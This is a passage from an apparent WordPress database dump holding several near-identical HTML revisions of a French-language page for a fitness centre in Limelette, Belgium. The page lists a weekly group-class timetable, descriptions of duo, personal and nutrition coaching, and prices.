style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;\r\nRenforcement musculaire&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;&lt;/b&gt;18h\r\nCardio&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;\r\nCircuit training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nRenforcement musculaire&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h45&lt;/b&gt;\r\nCircuit training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h45&lt;/b&gt;\r\nRenforcement musculaire&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;18h45&lt;/b&gt;\r\nCardio&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nCircuit training&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;\r\nCardio&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;\r\nCircuit training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;\r\nRenforcement musculaire&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nCardio&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;\r\n&lt;span style=\&quot;text-decoration: underline; background: #F2F5A9;\&quot;&gt;&lt;strong&gt;Cardio&lt;/strong&gt;&lt;/span&gt;: Circuit permettant de développer votre endurance musculaire et cardiovasculaire! Idéal pour brûler un maximum de calories et perdre du poids (conseillé avec un programme alimentaire)!\r\n&lt;br&gt;\r\n&lt;span style=\&quot;text-decoration: underline; background: #F2F5A9;\&quot;&gt;&lt;strong&gt;Circuit training&lt;/strong&gt;&lt;/span&gt;: Travaillez de manière fun sur un circuit ultra-complet, accessible à tous et adapté à votre niveau! Relevez des challenges et augmentez votre confiance en vous! \r\n&lt;br&gt;\r\n&lt;span style=\&quot;text-decoration: underline; background: #F2F5A9;\&quot;&gt;&lt;strong&gt;Renforcement musculaire&lt;/strong&gt;&lt;/span&gt;: Excellent circuit pour raffermir, muscler votre corps en profondeur avec ou sans prise de volume! Vous utiliserez entre autre le TRX suspension training (méthode d\'entrainement révolutionnaire basée sur le poids du corps), le Rip Trainer, le kettlebell...\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Duo Training - Limelette :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Personal Training - Limelette :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Coaching nutritionnel - Limelette :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 6 mois illimité : 399.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances - Limelette', '', 'inherit', 'open', 'open', '', '361-revision-v1', '', '', '2013-11-14 21:23:43', '2013-11-14 21:23:43', '', 361, 'http://www.crosstrainingcenter.be/361-revision-v1/', 0, 'revision', '', 0),
(397, 1, '2013-11-14 21:27:07', '2013-11-14 21:27:07', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Namur\&quot; href=\&quot;http://www.crosstrainingcenter.be/les-seances-namur/\&quot;&gt;Namur&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenuhoover\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\nLimelette\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h1&gt;Team Training - Limelette :&lt;/h1&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Nous vous proposons 4 types de séances décrites ci-dessous\r\n\r\n&amp;nbsp;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;\r\nRenforcement musculaire&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;&lt;/b&gt;18h\r\nCardio&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;\r\nCircuit training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nRenforcement musculaire&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h45&lt;/b&gt;\r\nCircuit training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h45&lt;/b&gt;\r\nRenforcement musculaire&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;18h45&lt;/b&gt;\r\nCardio&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nCircuit training&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;\r\nCardio&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;\r\nCircuit training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;\r\nRenforcement musculaire&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nCardio&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;\r\n&lt;span style=\&quot;text-decoration: underline; background: #A9F5F2;\&quot;&gt;&lt;strong&gt;Cardio&lt;/strong&gt;&lt;/span&gt;: Circuit permettant de développer votre endurance musculaire et cardiovasculaire! Idéal pour brûler un maximum de calories et perdre du poids (conseillé avec un programme alimentaire)!\r\n&lt;br&gt;\r\n&lt;span style=\&quot;text-decoration: underline; background: #A9F5A9;\&quot;&gt;&lt;strong&gt;Circuit training&lt;/strong&gt;&lt;/span&gt;: Travaillez de manière fun sur un circuit ultra-complet, accessible à tous et adapté à votre niveau! Relevez des challenges et augmentez votre confiance en vous! \r\n&lt;br&gt;\r\n&lt;span style=\&quot;text-decoration: underline; background: #F2F5A9;\&quot;&gt;&lt;strong&gt;Renforcement musculaire&lt;/strong&gt;&lt;/span&gt;: Excellent circuit pour raffermir, muscler votre corps en profondeur avec ou sans prise de volume! Vous utiliserez entre autre le TRX suspension training (méthode d\'entrainement révolutionnaire basée sur le poids du corps), le Rip Trainer, le kettlebell...\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Duo Training - Limelette :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Personal Training - Limelette :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Coaching nutritionnel - Limelette :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 6 mois illimité : 399.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances - Limelette', '', 'inherit', 'open', 'open', '', '361-revision-v1', '', '', '2013-11-14 21:27:07', '2013-11-14 21:27:07', '', 361, 'http://www.crosstrainingcenter.be/361-revision-v1/', 0, 'revision', '', 0),
(400, 2, '2013-11-14 22:19:40', '2013-11-14 22:19:40', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Namur\&quot; href=\&quot;http://www.crosstrainingcenter.be/les-seances-namur/\&quot;&gt;Namur&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenuhoover\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\nLimelette\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h1&gt;Team Training - Limelette :&lt;/h1&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Nous vous proposons 3 types de séances décrites ci-dessous\r\n\r\n&amp;nbsp;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;\r\nRenforcement musculaire&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;&lt;/b&gt;18h\r\nCardio&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;\r\nCircuit training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nRenforcement musculaire&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h45&lt;/b&gt;\r\nCircuit training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h45&lt;/b&gt;\r\nRenforcement musculaire&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;18h45&lt;/b&gt;\r\nCardio&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nCircuit training&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;\r\nCardio&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;\r\nCircuit training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;\r\nRenforcement musculaire&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nCardio&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;span style=\&quot;text-decoration: underline; background: #A9F5F2;\&quot;&gt;&lt;strong&gt;Cardio&lt;/strong&gt;&lt;/span&gt;: Circuit permettant de développer votre endurance musculaire et cardiovasculaire! Idéal pour brûler un maximum de calories et perdre du poids (conseillé avec un programme alimentaire)!\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #A9F5A9;\&quot;&gt;&lt;strong&gt;Circuit training&lt;/strong&gt;&lt;/span&gt;: Travaillez de manière fun sur un circuit ultra-complet, accessible à tous et adapté à votre niveau! Relevez des challenges et augmentez votre confiance en vous!\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #F2F5A9;\&quot;&gt;&lt;strong&gt;Renforcement musculaire&lt;/strong&gt;&lt;/span&gt;: Excellent circuit pour raffermir, muscler votre corps en profondeur avec ou sans prise de volume! Vous utiliserez entre autre le TRX suspension training (méthode d\'entrainement révolutionnaire basée sur le poids du corps), le Rip Trainer, le kettlebell...\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Duo Training - Limelette :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Personal Training - Limelette :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Coaching nutritionnel - Limelette :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 6 mois illimité : 399.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances - Limelette', '', 'inherit', 'open', 'open', '', '361-revision-v1', '', '', '2013-11-14 22:19:40', '2013-11-14 22:19:40', '', 361, 'http://www.crosstrainingcenter.be/361-revision-v1/', 0, 'revision', '', 0),
(398, 1, '2013-11-14 21:33:20', '2013-11-14 21:33:20', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Namur\&quot; href=\&quot;http://www.crosstrainingcenter.be/les-seances-namur/\&quot;&gt;Namur&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenuhoover\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\nLimelette\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h1&gt;Team Training - Limelette :&lt;/h1&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Nous vous proposons 4 types de séances décrites ci-dessous\r\n\r\n&amp;nbsp;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;\r\nRenforcement musculaire&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;&lt;/b&gt;18h\r\nCardio&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;\r\nCircuit training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nRenforcement musculaire&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h45&lt;/b&gt;\r\nCircuit training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h45&lt;/b&gt;\r\nRenforcement musculaire&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;18h45&lt;/b&gt;\r\nCardio&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nCircuit training&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;\r\nCardio&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;\r\nCircuit training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;\r\nRenforcement musculaire&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nCardio&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;\r\n&lt;span style=\&quot;text-decoration: underline; background: #A9F5F2;\&quot;&gt;&lt;strong&gt;Cardio&lt;/strong&gt;&lt;/span&gt;: Circuit permettant de développer votre endurance musculaire et cardiovasculaire! Idéal pour brûler un maximum de calories et perdre du poids (conseillé avec un programme alimentaire)!\r\n&lt;br&gt;\r\n&lt;span style=\&quot;text-decoration: underline; background: #A9F5A9;\&quot;&gt;&lt;strong&gt;Circuit training&lt;/strong&gt;&lt;/span&gt;: Travaillez de manière fun sur un circuit ultra-complet, accessible à tous et adapté à votre niveau! Relevez des challenges et augmentez votre confiance en vous! \r\n&lt;br&gt;\r\n&lt;span style=\&quot;text-decoration: underline; background: #F2F5A9;\&quot;&gt;&lt;strong&gt;Renforcement musculaire&lt;/strong&gt;&lt;/span&gt;: Excellent circuit pour raffermir, muscler votre corps en profondeur avec ou sans prise de volume! Vous utiliserez entre autre le TRX suspension training (méthode d\'entrainement révolutionnaire basée sur le poids du corps), le Rip Trainer, le kettlebell...\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Duo Training - Limelette :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Personal Training - Limelette :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Coaching nutritionnel - Limelette :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 6 mois illimité : 399.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances - Limelette', '', 'inherit', 'open', 'open', '', '361-revision-v1', '', '', '2013-11-14 21:33:20', '2013-11-14 21:33:20', '', 361, 'http://www.crosstrainingcenter.be/361-revision-v1/', 0, 'revision', '', 0),
(401, 1, '2013-11-24 08:34:58', '2013-11-24 08:34:58', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Namur\&quot; href=\&quot;http://www.crosstrainingcenter.be/les-seances-namur/\&quot;&gt;Namur&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenuhoover\&quot;&gt;\r\n&lt;div 